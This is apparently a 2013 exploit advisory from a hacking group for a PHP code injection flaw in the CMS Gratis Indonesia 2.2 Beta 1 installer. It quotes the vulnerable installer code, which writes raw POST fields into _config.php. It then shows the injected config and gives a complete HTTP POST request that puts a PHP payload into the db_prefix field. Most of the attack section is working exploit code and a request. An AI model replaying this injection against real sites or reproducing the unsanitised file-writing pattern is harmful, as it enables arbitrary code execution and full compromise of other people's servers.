# Exploit Title : CMS Gratis Indonesia PHP Code Injection
# Date : 4 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://cmsid.org/
# Software Link : http://jaist.dl.sourceforge.net/project/cmsid/source/2.2/cmsid-2.2-beta1.zip
# Version : 2.2 Beta 1
# Tested on : Window and Linux
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
####################################
VULNERABILITY: PHP CODE INJECTION
####################################
/libs/installer/installer.php (LINE: 215-283)
-----------------------------------------------------------------------------
LINE 215-223:
<?php
if(isset($_POST['step_1'])
&& empty($_SESSION['hostname']))
{
$hostname = (string)$_POST['hostname'];
$mysql_user = (string)$_POST['mysql_user'];
$mysql_pass = (string)$_POST['mysql_pass'];
$mysql_db_name = (string)$_POST['mysql_db_name'];
$db_prefix = (string)$_POST['db_prefix'];
-----------------------------------------------------------------------------
-----------------------------------------------------------------------------
LINE 241-283:
/**
* making file _config.php
*/
$file_name = "_config.php";
if(!file_exists($file_name))
{
$file = "libs/installer/_config.php";
@copy($file,'../');
}
$fo = @fopen($file_name,"w+");
$s = fgets($fo,6);
$text = ("<?php
/**
* @fileName: config.php
* @setting ketentuan website
*
* isi sesuai dengan hak akses ke mysql server anda
*/
//not direct access
if(!defined('_iEXEC')) exit;
/*
*************** Basic Setting *************
*/
//nama host mysql db
define('DB_HOST', '$hostname');
//nama pengguna mysql db
define('DB_USER', '$mysql_user');
//kata sandi mysql db
define('DB_PASS', '$mysql_pass');
//nama database mysql
define('DB_NAME', '$mysql_db_name');
//nama awal table
define('DB_PRE', '$db_prefix');
?>");
rewind($fo);
fwrite($fo,$text);
-----------------------------------------------------------------------------
#####################################################
DESCRIPTION
#####################################################
An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.
User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.
An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.
This CMS allow attacker to insert PHP code into config.php with "iw_');phpinfo();//"
/config.php
-----------------------------------------------------------------------------
<?php
if(!defined('_iEXEC')) exit;
define('DB_HOST', 'localhost');
define('DB_USER', 'root');
define('DB_PASS', 'usbw');
define('DB_NAME', 'cmsid');
define('DB_PRE', 'iw_');phpinfo();//');
?>
-----------------------------------------------------------------------------
#####################################################
EXPLOIT
#####################################################
POST /cmsid/?setup=yes HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/cmsid/?setup=yes
Cookie: __utma=111872281.1795322081.1369810583.1369810583.1369810583.1; __utmz=111872281.1369810583.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); lang=en_US; PHPSESSID=gbf1u3p49bid3b1g4cnhuplco5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
hostname=localhost&mysql_user=root&mysql_pass=toor&mysql_db_name=cmsid&db_prefix=iw_');phpinfo();//&step_1=Next+%C2%BB%C2%BB
################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################